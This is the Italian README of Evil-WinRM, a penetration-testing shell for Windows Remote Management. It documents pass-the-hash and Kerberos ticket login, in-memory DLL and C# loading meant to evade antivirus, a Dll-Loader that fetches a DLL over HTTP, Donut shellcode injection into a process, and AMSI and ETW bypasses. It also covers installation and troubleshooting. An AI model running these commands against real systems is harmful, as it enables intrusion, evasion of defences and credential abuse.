Evil-WinRM

La shell WinRM definitiva per hacking/pentesting

Banner

Descrizione e scopo

Questa shell è la shell WinRM definitiva per hacking/pentesting.

WinRM (Windows Remote Management) è l'implementazione Microsoft del protocollo WS-Management. Un protocollo standard basato su SOAP che consente l'interoperabilità tra hardware e sistemi operativi di diversi fornitori. Microsoft lo ha incluso nei propri sistemi operativi per semplificare la vita agli amministratori di sistema.

Questo programma può essere utilizzato su qualsiasi server Microsoft Windows con questa funzionalità abilitata (di solito sulla porta 5985), ovviamente solo se si dispone di credenziali e permessi per usarlo. Quindi possiamo dire che potrebbe essere utilizzato in una fase di post-exploitation di hacking/pentesting. Lo scopo di questo programma è fornire funzionalità comode e facili da usare per l'hacking. Può essere utilizzato anche per scopi legittimi dagli amministratori di sistema, ma la maggior parte delle sue funzionalità è focalizzata su attività di hacking/pentesting.

Si basa principalmente sulla libreria Ruby WinRM, che ha cambiato il suo modo di funzionare dalla versione 2.0. Ora, invece di utilizzare il protocollo WinRM, usa PSRP (Powershell Remoting Protocol) per inizializzare i runspace pool e creare ed elaborare pipeline.

Funzionalità

Compatibile con sistemi client Linux e Windows
Carica in memoria script Powershell
Carica in memoria file dll bypassando alcuni AV
Carica in memoria assembly C# (C Sharp) bypassando alcuni AV
Carica payload x64 generati con la fantastica tecnica donut
Bypass AMSI dinamico per evitare le firme AV
Supporto Pass-the-hash
Supporto autenticazione Kerberos, inclusi anche file ccache e kirbi
Supporto SSL e certificati
Carica e scarica file mostrando la barra di avanzamento
Elenca i servizi della macchina remota senza privilegi
Cronologia comandi
Completamento comandi WinRM
Completamento file/directory locali
Completamento percorsi remoti (file/directory) (disattivabile opzionalmente)
Colorazione di prompt e messaggi di output (disattivabile opzionalmente)
Funzionalità di logging opzionale
Supporto Docker (immagini precompilate disponibili su Dockerhub)
Cattura dei trap per evitare l'uscita accidentale dalla shell con Ctrl+C
User-agent personalizzabile utilizzando quello predefinito legittimo di Windows
Bypass ETW (Event Tracing for Windows)

Aiuto```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

## Requisiti
È richiesto Ruby 2.3 o superiore. Sono necessari anche alcuni gem Ruby: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
A seconda del metodo di installazione scelto (4 disponibili), potrebbe essere necessario installarli manualmente.

Un altro requisito importante, utilizzato solo per l'autenticazione Kerberos, è installare il pacchetto Kerberos usato per l'autenticazione di rete.
Per alcune distribuzioni Linux basate su Debian (Kali, Parrot, ecc.) si chiama `krb5-user`. Per BlackArch si chiama `krb5` e probabilmente potrebbe avere un nome diverso per altre distribuzioni Linux.

La funzionalità di completamento automatico dei percorsi remoti richiede il binding nativo `readline-ext`, che viene installato automaticamente come dipendenza di Evil-WinRM. Alcuni sistemi richiedono pacchetti di sviluppo aggiuntivi per compilarlo. Consulta [la sezione seguente](#Remote-path-completion) per maggiori informazioni.

## Installazione e Avvio Rapido (4 metodi)

### Metodo 1. Installazione diretta come gem Ruby (le dipendenze verranno installate automaticamente sul tuo sistema)
 - Passo 1. Installalo (installerà automaticamente le dipendenze): ```gem install evil-winrm```
 - Passo 2. Fatto. Basta avviarlo!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Metodo 2. Clonazione Git e installazione delle dipendenze sul tuo sistema manualmente

Passo 1. Installa le dipendenze manualmente: sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
Passo 2. Clona il repository: git clone https://github.com/Hackplayers/evil-winrm.git
Passo 3. Pronto. Basta avviarlo!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

### Metodo 3. Utilizzo di bundler (le dipendenze non verranno installate sul tuo sistema, solo per usare evil-winrm)
 - Passo 1. Installa bundler: `gem install bundler`
 - Passo 2. Clona il repository: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Passo 3. Installa le dipendenze con bundler: `cd evil-winrm && bundle install --path vendor/bundle`
 - Passo 4. Avvialo con bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Metodo 4. Utilizzo di Docker

Passo 1. Avvia il container Docker basato sull'immagine già creata:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

## Documentazione

### Password in chiaro
Se non vuoi inserire la password in chiaro, puoi opzionalmente evitare di impostare l'argomento `-p` e la password verrà richiesta in modo interattivo, evitando che venga visualizzata.

### IPv6
Per utilizzare IPv6, l'indirizzo deve essere aggiunto a /etc/hosts. Basta inserire il nome dell'host già configurato dopo l'argomento `-i` invece di un indirizzo IP.

### Comandi di base
 - **upload**: i file locali possono essere completati automaticamente usando il tasto tab.
   - utilizzo: `upload local_filename` oppure `upload local_filename destination_filename`
 - **download**:
   - utilizzo: `download remote_filename` oppure `download remote_filename destination_filename`

 __Note sui percorsi (upload/download)__:
   I percorsi relativi non sono consentiti per download/upload. Usa i nomi dei file nella directory corrente o un percorso assoluto.
   Se stai usando Evil-WinRM in un ambiente docker, tieni presente che tutti i percorsi locali devono trovarsi in `/data` e assicurati di averlo mappato come volume per poter accedere ai file scaricati o per poter caricare file dal sistema operativo locale.

 - **services**: elenca tutti i servizi mostrando se il tuo account ha permessi su ciascuno di essi. Non sono necessari permessi di amministratore per usare questa funzionalità.
 - **menu**: carica le funzioni `Invoke-Binary`, `Dll-Loader` e `Donut-Loader` che spiegheremo di seguito. Quando viene caricato un file ps1, tutte le sue funzioni verranno mostrate.
 - **clear** o **cls**: pulisce lo schermo del terminale. Puoi anche usare la scorciatoia da tastiera `Ctrl+L` per pulire lo schermo.
 - **exit** o **quit**: chiude la sessione Evil-WinRM. Puoi anche usare la scorciatoia da tastiera `Ctrl+D`.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

Caricare script PowerShell

Per caricare un file ps1 basta digitare il nome (è consentito l'auto-completamento con il tasto Tab). Gli script devono trovarsi nel percorso impostato con l'argomento -s. Digita di nuovo menu e visualizza le funzioni caricate. File molto grandi possono richiedere molto tempo per essere caricati.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| / / / / / /
```
   By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
```

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

### Comandi avanzati
- Invoke-Binary: consente di eseguire assembly .Net in memoria. Il nome può essere completato automaticamente usando il tasto Tab. Gli argomenti per il file eseguibile possono essere passati separati da virgole. Esempio: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Gli eseguibili devono trovarsi nel percorso impostato con l'argomento `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:

Dll-Loader: consente di caricare librerie dll in memoria, equivale a: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

Il file dll può essere ospitato tramite smb, http o localmente. Una volta caricato, digita menu, quindi è possibile completare automaticamente tutte le funzioni.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

Description

Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

- Donut-Loader: consente di iniettare payload x64 generati con la fantastica tecnica [donut]. Non è necessario codificare il payload.bin, basta generarlo e iniettarlo!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Puoi usare questo donut-maker per generare il payload.bin se non usi Windows. Questo script utilizza un modulo Python scritto da Marcello Salvati (byt3bl33d3r). Può essere installato usando pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe

.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !./ \ _ _ .__./ "
X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----" / Y \ / | "x.^ |
j Y

[+] Donut generated successfully: payload.bin

- Bypass-4MSI: applica patch alla protezione AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

Prima di tutto devi sincronizzare la data con il DC: rdate -n <dc_ip>
Per generare il ticket ci sono molti modi:
- Usando ticketer.py da impacket
- Usando Rubeus o Mimikatz per ottenere ticket kirbi (è supportata la conversione automatica in ccache)
Aggiungi il file del ticket. Ci sono 3 modi:

export KRB5CCNAME=/foo/var/ticket.ccache

cp ticket.ccache /tmp/krb5cc_0

Usa il parametro -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache oppure evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

Quando usi -K, lo strumento automaticamente:
- Rileva il formato del ticket (ccache o kirbi)
- Converte i ticket kirbi in formato ccache se necessario (richiede ticket_converter.py o impacket-ticketConverter)
- Verifica che il file esista e sia leggibile
- Imposta la variabile d'ambiente KRB5CCNAME
- Risolve gli indirizzi IP in FQDN per una migliore compatibilità Kerberos
Aggiungi il realm a /etc/krb5.conf (per linux). È importante usare questo formato: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }
Controlla i ticket Kerberos con klist
Per rimuovere un ticket usa: kdestroy
Per maggiori informazioni su Kerberos consulta questo cheatsheet

Completamento remoto dei percorsi

Questa funzionalità richiede il binding nativo readline-ext. Evil-WinRM lo dichiara come dipendenza, quindi viene installato automaticamente quando si usa RubyGems o Bundler. Se l'estensione nativa non può essere compilata, questa funzionalità non funzionerà (verrà mostrato un avviso).

Nota per Ruby 3.3+: ext/readline è stato rimosso dal sorgente di Ruby nella versione 3.3 (Feature #19616). Pertanto, il Metodo 1 di seguito non può essere utilizzato con Ruby 3.3 o versioni successive. Su sistemi basati su Debian, installa il pacchetto di sviluppo richiesto prima di installare Evil-WinRM o le sue dipendenze:``` sudo apt install libreadline-dev

The `readline-ext` dependency makes `require 'readline'` load GNU Readline instead of `reline`, which lacks `quoting_detection_proc`, the method Evil-WinRM checks for. The methods below target older Ruby versions and are kept for compatibility.

#### Method 1 (compile the needed extension)

Using this method you'll compile ruby with the needed readline feature but to use only the library without changing the default ruby version on your system. Because of this, is the most recommended method.

Let's suppose that you have in your Debian based system ruby 2.7.3:```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

Metodo 2 (Installa ruby per usarlo solo per evil-winrm usando rbenv)

Supponiamo che tu voglia ruby 2.7.1 su un Linux basato su Debian e che tu stia usando zsh. Questo script lo automatizzerà. Dovrai lanciarlo dalla stessa directory in cui si trovano evil-winrm.rb e il Gemfile (ad esempio la directory creata da evil-winrm dopo un git clone):``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

Poi puoi avviare in sicurezza evil-winrm usando il nuovo ruby installato con il supporto readline richiesto da qualsiasi posizione.

#### Metodo 3 (compilare l'intero ruby)

Se vuoi compilarlo da solo, puoi seguire questi passaggi. Supponiamo che tu voglia ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

A seconda del tuo sistema, verrà installato in /opt/rubies/ruby-2.7.3 o forse in ~/.rubies/ruby-2.7.3.

Ora devi solo installare le dipendenze di evil-winrm per quella nuova versione di ruby installata. Il modo più semplice è lanciare il comando /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. Il comando gem utilizzato deve appartenere alla nuova installazione di ruby.

Dopo di che, puoi lanciare in sicurezza il tuo ruby appena installato per usarlo con evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

Si consiglia di usare questo nuovo ruby installato solo per lanciare evil-winrm. Se lo imposti come ruby predefinito per il tuo sistema, tieni presente che non ha gemme di dipendenza installate. Alcuni software basati su ruby come Metasploit o altri potrebbero non avviarsi correttamente a causa di problemi di dipendenze.

Registrazione (Logging)

Questa funzionalità creerà file nella tua directory $HOME salvando i comandi e gli output delle sessioni WinRM.

Cronologia dei comandi

Evil-WinRM mantiene una cronologia dei comandi persistente per ogni combinazione di host e utente. La cronologia è archiviata nella directory ~/.evil-winrm/history/ con file denominati come {host}_{user}.hist.

Quando ti connetti a una macchina a cui hai avuto accesso in precedenza, puoi usare i tasti freccia (Su/Giù) per navigare tra i comandi precedenti. La cronologia viene salvata automaticamente dopo ogni esecuzione di comando e caricata quando ti riconnetti allo stesso host con lo stesso utente.

Problemi noti. Errori OpenSSL

A volte, potresti incontrare un errore come questo:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

L'errore è causato dal fatto che la versione OpenSSL 3.0 ha ritirato alcune funzioni legacy come MD4, necessarie per eseguire questo strumento. Esistono diverse soluzioni alternative per gestire questa situazione:

 - Aggiorna il tuo sistema all'ultima versione. Probabilmente, questo problema è stato risolto automaticamente nelle ultime versioni di Ruby che utilizzano versioni più recenti di OpenSSL.
 - Compila il tuo Ruby utilizzando la vecchia OpenSSL 1.x invece di OpenSSL 3.0, oppure compilalo con OpenSSL > 3.0 per evitare la problematica versione 3.0.
 - La più semplice. Modifica il tuo file di configurazione `/etc/ssl/openssl.cnf` e assicurati che la configurazione sia così:```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

Come alternativa all'ultima soluzione, se il tuo sistema utilizza LibreSSL invece di OpenSSL o semplicemente non vuoi modificare il file di configurazione di sistema. Crea un semplice file contenente il contenuto sopra. Può essere usato qualsiasi nome, ad esempio evil-tls.conf. Dopodiché, esporta una variabile d'ambiente per forzare il sistema a usarlo: export OPENSSL_CONF="/path/to/evil-tls.conf". E poi avvia lo strumento, l'errore scomparirà.

Changelog:

Il changelog e le modifiche al progetto possono essere consultati qui: CHANGELOG.md

Crediti:

Staff:

Cybervaca, (fondatore). Twitter (X): @CyberVaca_
OscarAkaElvis, Twitter (X): @OscarAkaElvis
Jarilaos, Twitter (X): @_Laox
arale61, Twitter (X): @arale61

Un ringraziamento a:

Vis0r per il suo supporto personale.
Alamot per il suo codice originale.
3v4Si0N per il suo fantastico dll loader.
WinRb Tutti i contributori della libreria ruby.
TheWover per il suo fantastico strumento donut.
byt3bl33d3r per la sua libreria python per creare payload donut.
Sh11td0wn per l'ispirazione sulle nuove funzionalità.
Borch per il suo aiuto nell'aggiunta della funzionalità di logging.
noraj per il suo aiuto nel mantenere lo strumento su diverse versioni di Ruby.
Hackplayers per aver dato riparo su github a questo software.

Disclaimer e Licenza

Questo script è concesso in licenza sotto LGPLv3+. Link diretto alla Licenza.

Evil-WinRM dovrebbe essere usato solo per test di penetrazione autorizzati e/o scopi educativi senza scopo di lucro. Qualsiasi uso improprio di questo software non sarà responsabilità dell'autore o di qualsiasi altro collaboratore. Usalo sui tuoi server e/o con il permesso del proprietario del server.

evil-winrm v4.1

Categorie